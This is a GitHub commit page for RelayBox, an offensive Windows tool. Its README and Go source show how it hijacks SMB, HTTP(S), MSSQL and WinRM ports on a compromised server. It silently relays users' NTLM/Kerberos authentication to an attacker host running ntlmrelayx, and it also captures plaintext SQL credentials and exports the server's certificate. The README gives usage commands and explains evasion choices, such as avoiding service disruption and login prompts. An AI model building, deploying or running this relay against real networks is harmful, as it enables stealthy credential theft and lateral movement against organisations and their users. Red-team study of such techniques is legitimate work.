Skip to content

Commit 3e95273

Browse files
committed
First release version
0 parents  commit 3e95273

20 files changed

Lines changed: 1736 additions & 0 deletions

File tree

.gitignore

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
relaybox.exe

README.md

Lines changed: 143 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,143 @@
1+
# RelayBox - Man-In-The-Service tool to turn servers against their admins
2+
3+
RelayBox is a tool that allows Red Teamers to silently place themselves in-between legitimate Windows servers without disrupting the latter. Its main purpose is to be able to, from a compromised server running the tool, relay incoming authentication attempts to other resources in the network without arising any suspicion.
4+
5+
**Must be used with:** ntlmrelayx (https://github.com/fortra/impacket) or krbrelayx (https://github.com/dirkjanm/krbrelayx)
6+
7+
## Building
8+
9+
The project now follows the conventional `cmd/` + `pkg/` layout. Build the binary with:
10+
11+
```bash
12+
GOOS=windows go build -o relaybox.exe ./cmd/relaybox
13+
```
14+
15+
You can also find prebuilt binaries on the Releases page.
16+
17+
## Why?
18+
19+
NTLM and Kerberos relaying attacks are really powerful, however often times can be impractical, too noisy or too disruptive. This is because at times it is not enough to (or we simply aren't able to):
20+
- Poison name resolution
21+
- Exploit RPC functions to coerce machine accounts
22+
- Deliver user coercion payloads
23+
24+
Additionally, **oftentimes the best relay point** (the machine we control and "harvest" auth attempts from) **is a server that is used by many users**. The logic is quite clear, more users making connections to a machine `==` more authentication attemps `==` higher chance to get the accounts we need.
25+
26+
SpecterOps published a method to take over port 445 in their [Relay You Heart Away](https://www.x33fcon.com/slides/x33fcon24_-_Nick_Powers_-_Relay_Your_Heart_Away_An_OPSEC-Conscious_Approach_to_445_Takeover.pdf) talk. This research was amazing, however there is a clear issue with this: if we want the best relay vantage point, a busy file server is the best target, if we kill SMB everybody will notice and we will be disrupting pontentially critical processes.
27+
28+
Also, why stop and SMB? Let's see if we can take over all Windows services, silently!
29+
30+
## How it works
31+
32+
Each protocol has its own module that achieves the following:
33+
- Rebind legitimate service to only local loopback
34+
- Start our own service on original port on all other interfaces
35+
- Create firewall rule for it
36+
- Upon user connection proxy everything to a remote host (this will be the one running `ntlmrelayx` and such)
37+
- Kill the connection
38+
- Upon re-connection (most clients for these services will auto-reconnect) proxy everything to legitimate service running on local loopback
39+
40+
If you want more details about how this is achieved for each different service, checkout the "Services" section.
41+
42+
## Usage
43+
44+
**This tool requires and is really only useful with local-admin privileges**
45+
46+
```
47+
Usage of C:\tmp\relaybox.exe:
48+
-http
49+
Enable HTTP relay
50+
-iface string
51+
Specific interface to bind rogue to, defaults to all interfaces
52+
-mssql
53+
Enable MSSQL relay
54+
-pfx string
55+
File path of PFX file to run HTTPS proxy
56+
-pfx-pass string
57+
Password of PFX file to run HTTPS proxy
58+
-raddr string
59+
Remote host to forward to (will match port bound for rogue service)
60+
-smb
61+
Enable SMB relay
62+
-verbose
63+
Enable verbose logging
64+
-winapi
65+
Use Windows API to shut down smb service, default will kill with powershell command
66+
-winrm
67+
Enable WinRM relay
68+
-mssql-smb
69+
Enable MSSQL relay via named pipes, will also run smb proxy
70+
```
71+
72+
Remember `-raddr` should be an attacker controlled machine running `ntlmrelayx.py`, this means that either that machine has direct network access to the relay targets, or you need to setup socks proxying between your attacker machine and the compromised server. Some tools to achieve this:
73+
- https://github.com/jpillora/chisel
74+
- https://github.com/Nicocha30/ligolo-ng
75+
76+
### Take over SMB
77+
78+
```bash
79+
./relaybox.exe -raddr 10.10.14.11 -smb
80+
```
81+
82+
This will take over port 445 on all interfaces except localhost. Whenever a new client connects, the authentication phase gets proxied to `raddr`, then the connection is dropped. Once the client re-connects it will be proxied to the original SMB service running on localhost.
83+
84+
### Take over MSSQL via named pipes
85+
86+
```bash
87+
./relaybox.exe -raddr 10.10.14.11 -mssql-smb
88+
```
89+
90+
This will hijack all incoming MSSQL connections to force them to use Named Pipes for communicating with the database. It will also enable the SMB takeover as if `-smb` would be running. This will result in all incoming MSSQL connection to be transparently man-in-the-middled and available for relay from your `-raddr`.
91+
92+
### Take over HTTP
93+
94+
```bash
95+
./relaybox.exe -raddr 10.10.14.11 -http
96+
```
97+
98+
This will rebind all IIS listeners to localhost, then setup an http server that:
99+
- Upon first connection redirects to the dotless version of the hostname (http://website.domain.local -> http://website) so that domain credentials are sent without showing a popup to the user.
100+
- After redirection the NTLM challenge response is proxied to the `-raddr`
101+
- A cookie `AuthProxy` is set so that redirection will not happen again
102+
- Victim is taken back to the original page they visited
103+
This allows to transparently relay a victim visiting a site to LDAP or another HTTP server on the network.
104+
105+
### Take over HTTPS
106+
107+
```bash
108+
./relaybox.exe -raddr 10.10.14.11 -http -pfx server.pfx -pfx-pass '1234'
109+
```
110+
111+
This behaves exactly like the HTTP takeover, except it will use a provided PFX file and password to create an HTTPS version of the attack as well. You whould extract the PFX from the compromised server so that it is as legitimate as possible. You can find a powershell utility to do this in: [http/export-pfx.ps1](http/export-pfx.ps1).
112+
113+
### Take over MSSQL (experimental)
114+
115+
```bash
116+
./relaybox.exe -raddr 10.10.14.11 -mssql
117+
```
118+
119+
This will actually take over port 1433 and rebind the MSSQL service to run only on localhost. Just like with the SMB takeover, the first connection from a client will be proxied to the `-raddr` and can be used for relay, then the proxy will point to the legitimate MSSQL service running on localhost.
120+
121+
This is marked as experimental because the exact number of connections before stopping to relay isn't yet clear for most MSSQL clients, and because MSSQL->MSSQL relaying is not yet a thing even in ntlmrelayx (https://github.com/fortra/impacket/issues/816).
122+
123+
**Note** this is really good for capturing plaintext credentials when clients are doing SQL auth.
124+
125+
### Take over WINRM
126+
127+
```bash
128+
./relaybox.exe -raddr 10.10.14.11 -winrm
129+
```
130+
131+
This will take over port 5985, using this will affect IIS services as well, so you should probably run this with `-http` as well if an HTTP service is exposed on the compromised server. This will proxy the first connection to the `-raddr` and then to the legitimate service running on localhost.
132+
133+
WinRM is not a really good candidate for relaying as there are a lot of pre-conditions for the target to be vulnerable: https://sensepost.com/blog/2025/is-tls-more-secure-the-winrms-case./ . However, nothing's sopping you from capturing all traffic for a nice network based WinRM keylogger... until someone figures out WinRM relaying properly.
134+
135+
## TODO
136+
137+
- MSSQL both named pipe and tcp server mitm simultaneously
138+
- RPC implementation to take over port 135
139+
- Add built-in name resolution poisoning
140+
- Implement all system calls via Windows API instead of Powershell
141+
- Auto detect and extract .pfx for HTTPS takeover
142+
- Investigate ADFS relaying: https://www.praetorian.com/blog/relaying-to-adfs-attacks/
143+
- Perhpas take inspiration for more HTTP implementations from: https://github.com/praetorian-inc/ADFSRelay

cmd/relaybox/main.go

Lines changed: 46 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,46 @@
1+
package main
2+
3+
import (
4+
"context"
5+
"flag"
6+
"log"
7+
"os"
8+
"os/signal"
9+
"relaybox/pkg/app"
10+
"relaybox/pkg/config"
11+
"syscall"
12+
)
13+
14+
func main() {
15+
var cfg config.Config
16+
17+
flag.BoolVar(&cfg.EnableSMB, "smb", false, "Enable SMB relay")
18+
flag.BoolVar(&cfg.UseWinAPI, "winapi", false, "Use Windows API to shut down smb service, default will kill with powershell command")
19+
flag.BoolVar(&cfg.EnableHTTP, "http", false, "Enable HTTP relay")
20+
flag.BoolVar(&cfg.EnableWinRM, "winrm", false, "Enable WinRM relay")
21+
flag.BoolVar(&cfg.EnableMSSQL, "mssql", false, "Enable MSSQL relay")
22+
flag.BoolVar(&cfg.EnableMSSQLNamedPipe, "mssql-smb", false, "Enable MSSQL relay via named pipes, will also run smb proxy")
23+
flag.StringVar(&cfg.Interface, "iface", "", "Specific interface to bind rogue to, defaults to all interfaces")
24+
flag.StringVar(&cfg.RemoteAddr, "raddr", "", "Remote host to forward to (will match port bound for rogue service)")
25+
flag.BoolVar(&cfg.Verbose, "verbose", false, "Enable verbose logging")
26+
flag.StringVar(&cfg.PFXPath, "pfx", "", "File path of PFX file to run HTTPS proxy")
27+
flag.StringVar(&cfg.PFXPass, "pfx-pass", "", "Password of PFX file to run HTTPS proxy")
28+
flag.Parse()
29+
30+
if cfg.RemoteAddr == "" {
31+
flag.Usage()
32+
os.Exit(1)
33+
}
34+
35+
exePath, err := os.Executable()
36+
if err != nil {
37+
log.Fatalf("Error getting executable path: %v", err)
38+
}
39+
40+
ctx, stop := signal.NotifyContext(context.Background(), os.Interrupt, syscall.SIGTERM)
41+
defer stop()
42+
43+
if err := app.Run(ctx, exePath, cfg); err != nil {
44+
log.Fatal(err)
45+
}
46+
}

go.mod

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
module relaybox
2+
3+
go 1.24.0
4+
5+
require (
6+
golang.org/x/crypto v0.43.0
7+
golang.org/x/sys v0.37.0
8+
)

go.sum

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
golang.org/x/crypto v0.43.0 h1:dduJYIi3A3KOfdGOHX8AVZ/jGiyPa3IbBozJ5kNuE04=
2+
golang.org/x/crypto v0.43.0/go.mod h1:BFbav4mRNlXJL4wNeejLpWxB7wMbc79PdRGhWKncxR0=
3+
golang.org/x/sys v0.37.0 h1:fdNQudmxPjkdUTPnLn5mdQv7Zwvbvpaxqs831goi9kQ=
4+
golang.org/x/sys v0.37.0/go.mod h1:OgkHotnGiDImocRcuBABYBEXf8A9a87e/uXjp9XT3ks=

pkg/app/app.go

Lines changed: 119 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,119 @@
1+
package app
2+
3+
import (
4+
"context"
5+
"fmt"
6+
"log"
7+
"os"
8+
9+
"relaybox/pkg/config"
10+
"relaybox/pkg/services/httprelay"
11+
"relaybox/pkg/services/mssql"
12+
"relaybox/pkg/services/smb"
13+
"relaybox/pkg/services/winrm"
14+
"relaybox/pkg/system/network"
15+
)
16+
17+
type Service interface {
18+
GetPort() string
19+
GetServiceName() string
20+
Start() int
21+
Stop()
22+
}
23+
24+
// Run wires up relay services based on the provided configuration and blocks until ctx is canceled.
25+
func Run(ctx context.Context, exePath string, cfg config.Config) error {
26+
if cfg.RemoteAddr == "" {
27+
return fmt.Errorf("remote address is required")
28+
}
29+
30+
localAddrs, err := resolveAddresses(cfg)
31+
if err != nil {
32+
return err
33+
}
34+
if len(localAddrs) == 0 {
35+
return fmt.Errorf("no local addresses found")
36+
}
37+
38+
services := buildServices(exePath, localAddrs, cfg)
39+
if len(services) == 0 {
40+
return fmt.Errorf("no services enabled")
41+
}
42+
43+
log.Printf("Local addresses: %v", localAddrs)
44+
log.Printf("Remote address: %s", cfg.RemoteAddr)
45+
46+
started := startServices(services)
47+
if len(started) == 0 {
48+
return fmt.Errorf("all services failed to start")
49+
}
50+
51+
<-ctx.Done()
52+
log.Println("Shutdown requested, stopping services...")
53+
for _, svc := range started {
54+
log.Printf("Stopping %s on %s", svc.GetServiceName(), svc.GetPort())
55+
svc.Stop()
56+
}
57+
log.Println("Shutdown complete")
58+
return nil
59+
}
60+
61+
func resolveAddresses(cfg config.Config) ([]string, error) {
62+
if cfg.Interface == "" {
63+
return network.GetAllIPs()
64+
}
65+
addr, err := network.GetIPByInterface(cfg.Interface)
66+
if err != nil {
67+
return nil, err
68+
}
69+
return []string{addr}, nil
70+
}
71+
72+
func buildServices(exePath string, localAddresses []string, cfg config.Config) []Service {
73+
var services []Service
74+
75+
namedPipes := cfg.EnableMSSQLNamedPipe
76+
enableSMB := cfg.EnableSMB || namedPipes
77+
78+
if namedPipes {
79+
log.Println("MSSQL Named Pipe relay enabled")
80+
services = append(services, mssql.NewMSSQL(exePath, localAddresses, cfg.RemoteAddr, true, cfg.Verbose))
81+
}
82+
if enableSMB {
83+
log.Println("SMB relay enabled")
84+
services = append(services, smb.NewSMB(exePath, localAddresses, cfg.RemoteAddr, cfg.UseWinAPI, cfg.Verbose))
85+
}
86+
if cfg.EnableHTTP {
87+
log.Println("HTTP relay enabled")
88+
hostname, err := os.Hostname()
89+
if err != nil {
90+
log.Println("Error getting hostname:", err)
91+
hostname = ""
92+
}
93+
services = append(services, httprelay.NewHTTP(exePath, localAddresses, cfg.RemoteAddr, hostname, cfg.PFXPath, cfg.PFXPass, cfg.Verbose))
94+
}
95+
if cfg.EnableWinRM {
96+
log.Println("WinRM relay enabled")
97+
services = append(services, winrm.NewWinRM(exePath, localAddresses, cfg.RemoteAddr, cfg.Verbose))
98+
}
99+
if cfg.EnableMSSQL && !namedPipes {
100+
log.Println("MSSQL relay enabled")
101+
services = append(services, mssql.NewMSSQL(exePath, localAddresses, cfg.RemoteAddr, false, cfg.Verbose))
102+
}
103+
return services
104+
}
105+
106+
func startServices(services []Service) []Service {
107+
var started []Service
108+
for _, service := range services {
109+
log.Printf("Starting rogue %s on %s", service.GetServiceName(), service.GetPort())
110+
if service.Start() == 1 {
111+
service.Stop()
112+
log.Printf("Failed to start %s on %s", service.GetServiceName(), service.GetPort())
113+
continue
114+
}
115+
log.Printf("Started rogue %s on %s!", service.GetServiceName(), service.GetPort())
116+
started = append(started, service)
117+
}
118+
return started
119+
}

pkg/config/config.go

Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
package config
2+
3+
// Config captures CLI/runtime options for relaybox.
4+
type Config struct {
5+
RemoteAddr string
6+
Interface string
7+
Verbose bool
8+
UseWinAPI bool
9+
PFXPath string
10+
PFXPass string
11+
EnableSMB bool
12+
EnableHTTP bool
13+
EnableWinRM bool
14+
EnableMSSQL bool
15+
EnableMSSQLNamedPipe bool
16+
}

0 commit comments

Comments
 (0)